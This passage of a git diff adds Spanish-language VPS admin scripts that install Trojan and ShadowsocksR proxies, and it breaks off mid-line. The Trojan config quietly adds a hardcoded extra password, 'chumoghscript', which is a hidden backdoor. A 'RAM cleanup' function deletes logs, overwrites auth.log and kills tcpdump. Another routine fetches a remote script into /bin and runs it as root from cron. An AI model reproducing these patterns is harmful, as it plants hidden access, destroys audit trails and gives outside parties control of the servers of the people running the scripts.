+mode: Global +log-level: info +external-controller: '0.0.0.0:9090' +secret: '' + +dns: + enable: true + nameserver: + - 1.1.1.1 + - 1.0.0.1 + +proxies: +- name: Trojan + type: "trojan" + server: $your_domain + port: 443 + password: $trojan_passwd + udp: true + sni: www.tuhost.com + alpn: + - h2 + - http/1.1 + skip-cert-verify: true + +# Eliminar "#" si configura v2ray +#- name: V2ray +# type: vmess +# server: 123.0.0.0 +# port: +# uuid: +# alterId: +# cipher: auto +# udp: true +# tls: true +# skip-cert-verify: true +# network: ws +# ws-path: / +# ws-headers: {host: www.tuhost.com} + +################################### +EOF + rm -rf /usr/local/etc/trojan/config.json + cat > /usr/local/etc/trojan/config.json <<-EOF +{ + "run_type": "server", + "local_addr": "0.0.0.0", + "local_port": 443, + "remote_addr": "127.0.0.1", + "remote_port": 80, + "password": [ + "$trojan_passwd" + ,"chumoghscript" + ], + "log_level": 1, + "ssl": { + "cert": "/usr/src/trojan-cert/fullchain.cer", + "key": "/usr/src/trojan-cert/private.key", + "key_password": "", + "cipher_tls13":"TLS_AES_128_GCM_SHA256:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384", + "prefer_server_cipher": true, + "alpn": [ + "http/1.1" + ], + "reuse_session": true, + "session_ticket": false, + "session_timeout": 600, + "plain_http_response": "", + "curves": "", + "dhparam": "" + }, + "tcp": { + "no_delay": true, + "keep_alive": true, + "fast_open": false, + "fast_open_qlen": 20 + }, + "mysql": { + "enabled": false, + "server_addr": "127.0.0.1", + "server_port": 3306, + "database": "trojan", + "username": "trojan", + "password": "" + } +} +EOF + cd /usr/src/trojan-cli/ + config.yml /usr/src/trojan-cli/ + trojan_path=$(cat /dev/urandom | head -1 | md5sum | head -c 16) + mkdir /usr/share/nginx/html/${trojan_path} + mv /usr/src/trojan-cli/config.yml /usr/share/nginx/html/${trojan_path}/ + #增加启动脚本 + +cat > ${systempwd}trojan.service <<-EOF +[Unit] +Description=trojan +After=network.target + +[Service] +Type=simple +PIDFile=/usr/src/trojan/trojan/trojan.pid +ExecStart=/usr/src/trojan/trojan -c "/usr/local/etc/trojan/config.json" +ExecReload=/bin/kill -HUP \$MAINPID +Restart=on-failure +RestartSec=1s + +[Install] +WantedBy=multi-user.target +EOF + + chmod +x ${systempwd}trojan.service + systemctl enable trojan.service + cd /root + ~/.acme.sh/acme.sh --installcert -d $your_domain \ + --key-file /usr/src/trojan-cert/private.key \ + --fullchain-file /usr/src/trojan-cert/fullchain.cer \ + --reloadcmd "systemctl restart trojan" + green "==============================================================" + green "Se ha instalado trojan, utilice el siguiente enlace para\ndescargar el archivo .yml para configurar en Clash." + blue "http://${your_domain}/$trojan_path/config.yml" + red "Link único y generado de manera aleatoria." + green "==============================================================" + green "Puede modificar el archivo .yml abriéndolo como Texto. " + green "Recuerde modificar el dominio por la ip en el archivo yml. " + green "Todo viene configurado, pero para que funcione correctamente\ntiene que modificar el host." + green "==============================================================" + red "Si gusta configurar manualmente, esta es la información:" + blue "Dominio: $your_domain" + blue "Puerto: 443" + blue "Contraseña: $trojan_passwd" + green "==============================================================" + else + red "===================================" + red "Si el certificado https no obtuvo resultados\nde solicitud y la instalación automática falló" + green "No se preocupe, puede reparar manualmente la solicitud del certificado." + green "1. Reinicie la VPS." + green "2. Vuelva a ejecutar el script y use la función de reparación de certificado." + red "===================================" + fi +} +function preinstall_check(){ + +nginx_status=`ps -aux | grep "nginx: worker" |grep -v "grep"` +if [ -n "$nginx_status" ]; then + systemctl stop nginx +fi +$systemPackage -y install net-tools socat +Port80=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w 80` +Port443=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w 443` +if [ -n "$Port80" ]; then + process80=`netstat -tlpn | awk -F '[: ]+' '$5=="80"{print $9}'` + red "===========================================================" + red "Se detectó que el puerto 80 está ocupado, el proceso que lo\nocupa es:${process80},La instalación ha finalizado." + red "===========================================================" + exit 1 +fi +if [ -n "$Port443" ]; then + process443=`netstat -tlpn | awk -F '[: ]+' '$5=="443"{print $9}'` + red "=============================================================" + red "Se detectó que el puerto 443 está ocupado, el proceso que lo\nocupa es::${process443},La instalación ha finalizado." + red "=============================================================" + exit 1 +fi +if [ -f "/etc/selinux/config" ]; then + CHECK=$(grep SELINUX= /etc/selinux/config | grep -v "#") + if [ "$CHECK" != "SELINUX=disabled" ]; then + green "Se detectó que SELinux está activado, se agregaran las reglas del puerto 80/443" + yum install -y policycoreutils-python >/dev/null 2>&1 + semanage port -m -t http_port_t -p tcp 80 + semanage port -m -t http_port_t -p tcp 443 + fi +fi +if [ "$release" == "centos" ]; then + if [ -n "$(grep ' 6\.' /etc/redhat-release)" ] ;then + red "===============" + red "El sistema actual no es compatible." + red "===============" + exit + fi + if [ -n "$(grep ' 5\.' /etc/redhat-release)" ] ;then + red "===============" + red "El sistema actual no es compatible." + red "===============" + exit + fi + firewall_status=`systemctl status firewalld | grep "Active: active"` + if [ -n "$firewall_status" ]; then + green "Se detectó que el firewall está activado, se agregaran las reglas del puerto 80/443" + firewall-cmd --zone=public --add-port=80/tcp --permanent + firewall-cmd --zone=public --add-port=443/tcp --permanent + firewall-cmd --reload + fi + rpm -Uvh http://nginx.org/packages/centos/7/noarch/RPMS/nginx-release-centos-7-0.el7.ngx.noarch.rpm +elif [ "$release" == "ubuntu" ]; then + if [ -n "$(grep ' 14\.' /etc/os-release)" ] ;then + red "===============" + red "El sistema actual no es compatible." + red "===============" + exit + fi + if [ -n "$(grep ' 12\.' /etc/os-release)" ] ;then + red "===============" + red "El sistema actual no es compatible." + red "===============" + exit + fi + ufw_status=`systemctl status ufw | grep "Active: active"` + if [ -n "$ufw_status" ]; then + ufw allow 80/tcp + ufw allow 443/tcp + fi + apt-get update +elif [ "$release" == "debian" ]; then + ufw_status=`systemctl status ufw | grep "Active: active"` + if [ -n "$ufw_status" ]; then + ufw allow 80/tcp + ufw allow 443/tcp + fi + apt-get update +fi +$systemPackage -y install wget unzip zip curl tar >/dev/null 2>&1 +green "=======================" +blue "Ingrese el dominio vinculado a esta VPS " && read -p ": " your_domain +green "=======================" + +real_addr=`ping ${your_domain} -c 1 | sed '1{s/[^(]*(//;s/).*//;q}'` +local_addr=`curl ipv4.icanhazip.com` +if [ $real_addr == $local_addr ] ; then + green "==========================================" + green "La resolución del dominio es normal, se intalará trojan" + green "==========================================" + sleep 1s + install_trojan + +else + red "====================================" + red "La resolución de dominio es inconsistente con la dirección IP de la VPS" + red "Si cree que el análisis es correcto, puede forzar a que el script continúe" + red "====================================" + read -p "¿Forzar el script? Seleccione [Y/n] :" yn + [ -z "${yn}" ] && yn="y" + if [[ $yn == [Yy] ]]; then + green "Forzar el script" + sleep 1s + install_trojan + else + exit 1 + fi +fi +} + +function repair_cert(){ +systemctl stop nginx +iptables -I INPUT -p tcp --dport 80 -j ACCEPT +iptables -I INPUT -p tcp --dport 443 -j ACCEPT +Port80=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w 80` +if [ -n "$Port80" ]; then + process80=`netstat -tlpn | awk -F '[: ]+' '$5=="80"{print $9}'` + red "===========================================================" + red "Se detectó que el puerto 80 está ocupado, el proceso que lo\nocupa es:${process80},La instalación ha finalizado." + red "===========================================================" + exit 1 +fi +green "=======================" +blue "Ingrese el dominio vinculado a esta VPS." +blue "Debe ser el mismo dominio que no pudo usar antes." +green "=======================" +read your_domain +real_addr=`ping ${your_domain} -c 1 | sed '1{s/[^(]*(//;s/).*//;q}'` +local_addr=`curl ipv4.icanhazip.com` +if [ $real_addr == $local_addr ] ; then + ~/.acme.sh/acme.sh --issue -d $your_domain --standalone + ~/.acme.sh/acme.sh --installcert -d $your_domain \ + --key-file /usr/src/trojan-cert/private.key \ + --fullchain-file /usr/src/trojan-cert/fullchain.cer \ + --reloadcmd "systemctl restart trojan" + if test -s /usr/src/trojan-cert/fullchain.cer; then + green "Solicitud de certificado exitosa." + green "Descargue fullchain.cer en /usr/src/trojan-cert/ en la carpeta del cliente trojan-cli" + systemctl restart trojan + systemctl start nginx + else + red "No se pudo solicitar el certificado." + fi +else + red "================================" + red "La resolución de dominio es inconsistente con la dirección IP de la VPS" + red "La instalación falló, asegúrese de que la resolución del dominio sea normal" + red "================================" +fi +} + +function remove_trojan(){ + red "================================" + red "Trojan se desintalará" + red "Nginx también se desintalará" + red "================================" + systemctl stop trojan + systemctl disable trojan + rm -f ${systempwd}trojan.service + if [ "$release" == "centos" ]; then + yum remove -y nginx + else + apt autoremove -y nginx + fi + rm -rf /usr/src/trojan* + rm -rf /usr/share/nginx/html/* + rm -rf /root/.acme.sh/ + green "==============" + green "Trojan desinstalado." + green "==============" +} + +function update_trojan(){ + /usr/src/trojan/trojan -v 2>trojan.tmp + curr_version=`cat trojan.tmp | grep "trojan" | awk '{print $4}'` + wget https://api.github.com/repos/trojan-gfw/trojan/releases/latest >/dev/null 2>&1 + latest_version=`grep tag_name latest| awk -F '[:,"v]' '{print $6}'` + rm -f latest + rm -f trojan.tmp + if version_lt "$curr_version" "$latest_version"; then + green "Versión actual: $curr_version, Última versión: $latest_version, actualizando……" + mkdir trojan_update_temp && cd trojan_update_temp + wget https://github.com/trojan-gfw/trojan/releases/download/v${latest_version}/trojan-${latest_version}-linux-amd64.tar.xz >/dev/null 2>&1 + tar xf trojan-${latest_version}-linux-amd64.tar.xz >/dev/null 2>&1 + mv ./trojan/trojan /usr/src/trojan/ + cd .. && rm -rf trojan_update_temp + systemctl restart trojan + /usr/src/trojan/trojan -v 2>trojan.tmp + green "Se completó la actualización de trojan, la versión actual es:`cat trojan.tmp | grep "trojan" | awk '{print $4}'`" + rm -f trojan.tmp + else + green "Versión actual: $curr_version, Última versión: $latest_version, no es necesario actualizar." + fi + + +} + +start_menu(){ + clear + green " =======================================" + green " Script de Instalación de Trojan " + green " Sistemas:centos7+/debian9+/ubuntu16.04+" + green " Edicion ChumoGH - ADM " + blue " Declaración:" + red " *No use este script en ningún entorno de producción." + red " *No debe tener ocupados los puertos 80/443." + red " *Siga las instrucciones." + green " =======================================" + echo + green " 1. Instalar trojan" + red " 2. Desinstalar trojan" + green " 3. Actualizar trojan" + green " 4. Reparar certificado" + blue " 0. Salir del script" + echo + read -p "Ingrese una opción:" num + case "$num" in + 1) + preinstall_check + ;; + 2) + remove_trojan + ;; + 3) + update_trojan + ;; + 4) + repair_cert + ;; + 0) + adm 1 + ;; + *) + clear + red "Ingrese una opción correcta." + sleep 1s + start_menu + ;; + esac +} + +start_menu diff --git a/Recursos/menu/tumbs.sh b/Recursos/menu/tumbs.sh new file mode 100644 index 0000000..2f21364 --- /dev/null +++ b/Recursos/menu/tumbs.sh @@ -0,0 +1,134 @@ +#!/bin/bash +#Autor: Henry Chumo +#Alias : ChumoGH +# -*- ENCODING: UTF-8 -*- + +# verificacion primarias + +echo " ====================================== " +echo " ======== ENTRANDO EN $1 ========= " +echo " ====================================== " +#[[ -z $(cat /etc/crontab | grep ejecutar) ]] && { + + +fun_limpram() { + sync + echo 3 >/proc/sys/vm/drop_caches + sync && sysctl -w vm.drop_caches=3 + sysctl -w vm.drop_caches=0 + swapoff -a + swapon -a + [[ -e /etc/v2ray/config.json ]] && v2ray clean >/dev/null 2>&1 & + [[ -e /etc/xray/config.json ]] && v2ray clean >/dev/null 2>&1 & + killall kswapd0 >/dev/null 2>&1 & + killall tcpdump >/dev/null 2>&1 & + killall ksoftirqd >/dev/null 2>&1 & + #apt purge rsyslog -y > /dev/null 2>&1 + rm -f /var/log/*.log.* + [[ -e /var/log/auth.log ]] && echo "@drowkid01 "> /var/log/auth.log + rm -f /var/log/*.1 + systemctl restart rsyslog.service + systemctl restart systemd-journald.service + service dropbear stop > /dev/null 2>&1 + service sshd restart > /dev/null 2>&1 + service dropbear restart > /dev/null 2>&1 + #killall systemd-journald +[[ -e /etc/fipv6 ]] || { +sed -i "/net.ipv6.conf/d" /etc/sysctl.conf +touch /etc/fipv6 +} +[[ -z $(grep -w "net.ipv6.conf" /etc/sysctl.conf) ]] && { +echo -e 'net.ipv6.conf.all.disable_ipv6=1 +net.ipv6.conf.default.disable_ipv6=1' >> /etc/sysctl.conf +sysctl -w net.ipv6.conf.all.disable_ipv6=1 +sysctl -w net.ipv6.conf.default.disable_ipv6=1 +sysctl -w net.ipv6.conf.lo.disable_ipv6=1 +} || { +sysctl -w net.ipv6.conf.all.disable_ipv6=1 +sysctl -w net.ipv6.conf.default.disable_ipv6=1 +sysctl -w net.ipv6.conf.lo.disable_ipv6=1 +} +sysctl -p /etc/sysctl.conf &>/dev/null + echo "DONE" > /etc/fixrsyslog +} +function aguarde() { + sleep 1 + helice() { + fun_limpram >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m Reconstruyendo \033[1;32mLOGS de \033[1;37me \033[1;32m USERS\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} + + +function checkON () { +#[[ ! -e /etc/fixrsyslog ]] && aguarde +#find . -type f -size +10M -exec rm {} \; +echo -ne " COMPILANDO BINARIO DE AUTOPTIMIZACIONES " +if wget https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu/killram.sh &>/dev/null -O /bin/automatizar.sh &>/dev/null ; then +echo -e "\033[1;32m DONE \n" && msg -bar3 +chmod +x /bin/automatizar.sh &>/dev/null +else +echo -e "\033[1;31m FAIL \n" && msg -bar3 +rm -f /bin/automatizar.sh +sleep 2s +return +fi +echo -ne " COMPILANDO BINARIO DE AUTOPLIMPIEZAS " +if wget https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu/killram.sh &>/dev/null -O /bin/gnula.sh &>/dev/null ; then +echo -e " \033[1;32m DONE \n" && msg -bar3 +chmod +x /bin/gnula.sh &>/dev/null +else +echo -e " \033[1;31m FAIL \n" && msg -bar3 +rm -f /bin/gnula.sh +sleep 2s +return +fi +sed -i "/automatizar.sh/d" /etc/crontab && sed -i "/gnula.sh/d" /etc/crontab +echo "00 03 * * * root bash /bin/automatizar.sh" >> /etc/crontab +echo "00 * * * * root bash /bin/gnula.sh" >> /etc/crontab +#echo 'echo "$(printf '%(%H:%M:%S)T')" >> /root/clearlog.txt' >> /bin/autoboot +service cron restart >/dev/null 2>&1 +systemctl enable cron &>/dev/null +systemctl start cron &>/dev/null +cat /etc/crontab | tail -n5 +rm -f /root/cron +msg -azu " Tarea programada cada $(msg -verd "[ $(crontab -l|grep 'ejecutar'|awk '{print $2}'|sed $'s/[^[:alnum:]\t]//g')HS ]")" +#[[ -e /etc/systemd/system/autoStart.service ]] && echo -e " TAREA DE LOOP DE AUTOREACTIVACION CREADA " +[[ -e /bin/autoboot ]] && chmod +x /bin/autoboot +} + +function checkOFF () { +rm -f /bin/ejecutar/automatizar.sh +rm -f /bin/ejecutar/gnula.sh +#rm -f /bin/autoboot +sed -i "/automatizar.sh/d" /etc/crontab && sed -i "/gnula.sh/d" /etc/crontab +sed -i "/autoboot/d" /etc/crontab +#crontab -l > /root/cron +#sed -i "/ejecutar/d" /root/cron +#sed -i "/autoboot/d" /root/cron +service cron restart +unset _opti +echo -e " DESACTIVADA DEL SISTEMA CORRECTAMENTE" +#rm -f /etc/fixrsyslog +} + + [[ "$1" = '--start' ]] && { + checkON + exit 0 + } + + [[ "$1" = '--stop' ]] && { + checkOFF + exit 0 + } +rm -rf /usr/.work \ No newline at end of file diff --git a/Recursos/menu/vps.conf b/Recursos/menu/vps.conf new file mode 100644 index 0000000..c0acfa6 --- /dev/null +++ b/Recursos/menu/vps.conf @@ -0,0 +1,19 @@ +server { + listen 81; + server_name 127.0.0.1 localhost; + access_log /var/log/nginx/vps-access.log; + error_log /var/log/nginx/vps-error.log error; + root /var/www/html; + + location / { + index index.html index.htm index.php; + try_files $uri $uri/ /index.php?$args; + } + + location ~ \.php$ { + include /etc/nginx/fastcgi_params; + fastcgi_pass 127.0.0.1:9000; + fastcgi_index index.php; + fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; + } +} diff --git a/Recursos/menu_inst/C-SSR.sh b/Recursos/menu_inst/C-SSR.sh new file mode 100644 index 0000000..32e6385 --- /dev/null +++ b/Recursos/menu_inst/C-SSR.sh @@ -0,0 +1,2076 @@ +#!/bin/bash +#19/12/2019 +clear +msg -bar +PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin +export PATH +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +BARRA1="\e[0;31m--------------------------------------------------------------------\e[0m" +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} +sh_ver="1.0.26" +filepath=$(cd "$(dirname "$0")"; pwd) +file=$(echo -e "${filepath}"|awk -F "$0" '{print $1}') +ssr_folder="/usr/local/shadowsocksr" +config_file="${ssr_folder}/config.json" +config_user_file="${ssr_folder}/user-config.json" +config_user_api_file="${ssr_folder}/userapiconfig.py" +config_user_mudb_file="${ssr_folder}/mudb.json" +ssr_log_file="${ssr_folder}/ssserver.log" +Libsodiumr_file="/usr/local/lib/libsodium.so" +Libsodiumr_ver_backup="1.0.16" +Server_Speeder_file="/serverspeeder/bin/serverSpeeder.sh" +LotServer_file="/appex/bin/serverSpeeder.sh" +BBR_file="${file}/bbr.sh" +jq_file="${ssr_folder}/jq" + +Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m" +Info="${Green_font_prefix}[ INFORMACION ]${Font_color_suffix}" +Error="${Red_font_prefix}[# ERROR #]${Font_color_suffix}" +Tip="${Green_font_prefix}[ NOTA ]${Font_color_suffix}" +Separator_1="——————————————————————————————" + +check_root(){ + [[ $EUID != 0 ]] && echo -e "${Error} La cuenta actual no es ROOT (no tiene permiso ROOT), no puede continuar la operacion, por favor ${Green_background_prefix} sudo su ${Font_color_suffix} Venga a ROOT (le pedire que ingrese la contraseña de la cuenta actual despues de la ejecucion)" && exit 1 +} +check_sys(){ + if [[ -f /etc/redhat-release ]]; then + release="centos" + elif cat /etc/issue | grep -q -E -i "debian"; then + release="debian" + elif cat /etc/issue | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + elif cat /proc/version | grep -q -E -i "debian"; then + release="debian" + elif cat /proc/version | grep -q -E -i "ubuntu"; then + release="ubuntu" + elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then + release="centos" + fi + bit=`uname -m` +} +check_pid(){ + PID=`ps -ef |grep -v grep | grep server.py |awk '{print $2}'` +} +check_crontab(){ + [[ ! -e "/usr/bin/crontab" ]] && echo -e "${Error}Falta de dependencia Crontab, Por favor, intente instalar manualmente CentOS: yum install crond -y , Debian/Ubuntu: apt-get install cron -y !" && exit 1 +} +SSR_installation_status(){ + [[ ! -e ${ssr_folder} ]] && echo -e "${Error}\nShadowsocksR No se encontro la carpeta, por favor verifique\n$(msg -bar)" && exit 1 +} +Server_Speeder_installation_status(){ + [[ ! -e ${Server_Speeder_file} ]] && echo -e "${Error}No instalado (Server Speeder), Por favor compruebe!" && exit 1 +} +LotServer_installation_status(){ + [[ ! -e ${LotServer_file} ]] && echo -e "${Error}No instalado LotServer, Por favor revise!" && exit 1 +} +BBR_installation_status(){ + if [[ ! -e ${BBR_file} ]]; then + echo -e "${Error} No encontre el script de BBR, comience a descargar ..." + cd "${file}" + if ! wget -N --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/bbr.sh; then + echo -e "${Error} BBR script descargar!" && exit 1 + else + echo -e "${Info} BBR script descarga completa!" + chmod +x bbr.sh + fi + fi +} +#Establecer reglas de firewall +Add_iptables(){ + if [[ ! -z "${ssr_port}" ]]; then + iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${ssr_port} -j ACCEPT + iptables -I INPUT -m state --state NEW -m udp -p udp --dport ${ssr_port} -j ACCEPT + ip6tables -I INPUT -m state --state NEW -m tcp -p tcp --dport ${ssr_port} -j ACCEPT + ip6tables -I INPUT -m state --state NEW -m udp -p udp --dport ${ssr_port} -j ACCEPT + fi +} +Del_iptables(){ + if [[ ! -z "${port}" ]]; then + iptables -D INPUT -m state --state NEW -m tcp -p tcp --dport ${port} -j ACCEPT + iptables -D INPUT -m state --state NEW -m udp -p udp --dport ${port} -j ACCEPT + ip6tables -D INPUT -m state --state NEW -m tcp -p tcp --dport ${port} -j ACCEPT + ip6tables -D INPUT -m state --state NEW -m udp -p udp --dport ${port} -j ACCEPT + fi +} +Save_iptables(){ + if [[ ${release} == "centos" ]]; then + service iptables save + service ip6tables save + else + iptables-save > /etc/iptables.up.rules + ip6tables-save > /etc/ip6tables.up.rules + fi +} +Set_iptables(){ + if [[ ${release} == "centos" ]]; then + service iptables save + service ip6tables save + chkconfig --level 2345 iptables on + chkconfig --level 2345 ip6tables on + else + iptables-save > /etc/iptables.up.rules + ip6tables-save > /etc/ip6tables.up.rules + echo -e '#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules\n/sbin/ip6tables-restore < /etc/ip6tables.up.rules' > /etc/network/if-pre-up.d/iptables + chmod +x /etc/network/if-pre-up.d/iptables + fi +} +#Leer la informacin de configuracin +Get_IP(){ + ip=$(wget -qO- -t1 -T2 ipinfo.io/ip) + if [[ -z "${ip}" ]]; then + ip=$(wget -qO- -t1 -T2 api.ip.sb/ip) + if [[ -z "${ip}" ]]; then + ip=$(wget -qO- -t1 -T2 members.3322.org/dyndns/getip) + if [[ -z "${ip}" ]]; then + ip="VPS_IP" + fi + fi + fi +} +Get_User_info(){ + Get_user_port=$1 + user_info_get=$(python mujson_mgr.py -l -p "${Get_user_port}") + match_info=$(echo "${user_info_get}"|grep -w "### user ") + if [[ -z "${match_info}" ]]; then + echo -e "${Error}La adquisicion de informacion del usuario fallo ${Green_font_prefix}[Puerto: ${ssr_port}]${Font_color_suffix} " && exit 1 + fi + user_name=$(echo "${user_info_get}"|grep -w "user :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + port=$(echo "${user_info_get}"|grep -w "port :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + password=$(echo "${user_info_get}"|grep -w "passwd :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + method=$(echo "${user_info_get}"|grep -w "method :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + protocol=$(echo "${user_info_get}"|grep -w "protocol :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + protocol_param=$(echo "${user_info_get}"|grep -w "protocol_param :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + [[ -z ${protocol_param} ]] && protocol_param="0(Ilimitado)" +msg -bar + obfs=$(echo "${user_info_get}"|grep -w "obfs :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + #transfer_enable=$(echo "${user_info_get}"|grep -w "transfer_enable :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}'|awk -F "ytes" '{print $1}'|sed 's/KB/ KB/;s/MB/ MB/;s/GB/ GB/;s/TB/ TB/;s/PB/ PB/') + #u=$(echo "${user_info_get}"|grep -w "u :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + #d=$(echo "${user_info_get}"|grep -w "d :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + forbidden_port=$(echo "${user_info_get}"|grep -w "Puerto prohibido :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') + [[ -z ${forbidden_port} ]] && forbidden_port="Permitir todo" +msg -bar + speed_limit_per_con=$(echo "${user_info_get}"|grep -w "speed_limit_per_con :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + speed_limit_per_user=$(echo "${user_info_get}"|grep -w "speed_limit_per_user :"|sed 's/[[:space:]]//g'|awk -F ":" '{print $NF}') +msg -bar + Get_User_transfer "${port}" +} +Get_User_transfer(){ + transfer_port=$1 + #echo "transfer_port=${transfer_port}" + all_port=$(${jq_file} '.[]|.port' ${config_user_mudb_file}) + #echo "all_port=${all_port}" + port_num=$(echo "${all_port}"|grep -nw "${transfer_port}"|awk -F ":" '{print $1}') + #echo "port_num=${port_num}" + port_num_1=$(expr ${port_num} - 1) + #echo "port_num_1=${port_num_1}" + transfer_enable_1=$(${jq_file} ".[${port_num_1}].transfer_enable" ${config_user_mudb_file}) + #echo "transfer_enable_1=${transfer_enable_1}" + u_1=$(${jq_file} ".[${port_num_1}].u" ${config_user_mudb_file}) + #echo "u_1=${u_1}" + d_1=$(${jq_file} ".[${port_num_1}].d" ${config_user_mudb_file}) + #echo "d_1=${d_1}" + transfer_enable_Used_2_1=$(expr ${u_1} + ${d_1}) + #echo "transfer_enable_Used_2_1=${transfer_enable_Used_2_1}" + transfer_enable_Used_1=$(expr ${transfer_enable_1} - ${transfer_enable_Used_2_1}) + #echo "transfer_enable_Used_1=${transfer_enable_Used_1}" + + + if [[ ${transfer_enable_1} -lt 1024 ]]; then + transfer_enable="${transfer_enable_1} B" + elif [[ ${transfer_enable_1} -lt 1048576 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1024'}') + transfer_enable="${transfer_enable} KB" + elif [[ ${transfer_enable_1} -lt 1073741824 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1048576'}') + transfer_enable="${transfer_enable} MB" + elif [[ ${transfer_enable_1} -lt 1099511627776 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1073741824'}') + transfer_enable="${transfer_enable} GB" + elif [[ ${transfer_enable_1} -lt 1125899906842624 ]]; then + transfer_enable=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_1}'/'1099511627776'}') + transfer_enable="${transfer_enable} TB" + fi + #echo "transfer_enable=${transfer_enable}" + if [[ ${u_1} -lt 1024 ]]; then + u="${u_1} B" + elif [[ ${u_1} -lt 1048576 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1024'}') + u="${u} KB" + elif [[ ${u_1} -lt 1073741824 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1048576'}') + u="${u} MB" + elif [[ ${u_1} -lt 1099511627776 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1073741824'}') + u="${u} GB" + elif [[ ${u_1} -lt 1125899906842624 ]]; then + u=$(awk 'BEGIN{printf "%.2f\n",'${u_1}'/'1099511627776'}') + u="${u} TB" + fi + #echo "u=${u}" + if [[ ${d_1} -lt 1024 ]]; then + d="${d_1} B" + elif [[ ${d_1} -lt 1048576 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1024'}') + d="${d} KB" + elif [[ ${d_1} -lt 1073741824 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1048576'}') + d="${d} MB" + elif [[ ${d_1} -lt 1099511627776 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1073741824'}') + d="${d} GB" + elif [[ ${d_1} -lt 1125899906842624 ]]; then + d=$(awk 'BEGIN{printf "%.2f\n",'${d_1}'/'1099511627776'}') + d="${d} TB" + fi + #echo "d=${d}" + if [[ ${transfer_enable_Used_1} -lt 1024 ]]; then + transfer_enable_Used="${transfer_enable_Used_1} B" + elif [[ ${transfer_enable_Used_1} -lt 1048576 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1024'}') + transfer_enable_Used="${transfer_enable_Used} KB" + elif [[ ${transfer_enable_Used_1} -lt 1073741824 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1048576'}') + transfer_enable_Used="${transfer_enable_Used} MB" + elif [[ ${transfer_enable_Used_1} -lt 1099511627776 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1073741824'}') + transfer_enable_Used="${transfer_enable_Used} GB" + elif [[ ${transfer_enable_Used_1} -lt 1125899906842624 ]]; then + transfer_enable_Used=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_1}'/'1099511627776'}') + transfer_enable_Used="${transfer_enable_Used} TB" + fi + #echo "transfer_enable_Used=${transfer_enable_Used}" + if [[ ${transfer_enable_Used_2_1} -lt 1024 ]]; then + transfer_enable_Used_2="${transfer_enable_Used_2_1} B" + elif [[ ${transfer_enable_Used_2_1} -lt 1048576 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1024'}') + transfer_enable_Used_2="${transfer_enable_Used_2} KB" + elif [[ ${transfer_enable_Used_2_1} -lt 1073741824 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1048576'}') + transfer_enable_Used_2="${transfer_enable_Used_2} MB" + elif [[ ${transfer_enable_Used_2_1} -lt 1099511627776 ]]; then + transfer_enable_Used_2=$(awk 'BEGIN{printf "%.2f\n",'${transfer_enable_Used_2_1}'/'1073741824'}') + transfer_enable_Used_2="${transfer_enable_Used_2} GB" + elif [[ ${transfer_enable_Used_2_1} -lt 1125899906842624 ]]; then + transfer_enable_Used_2=$(awk 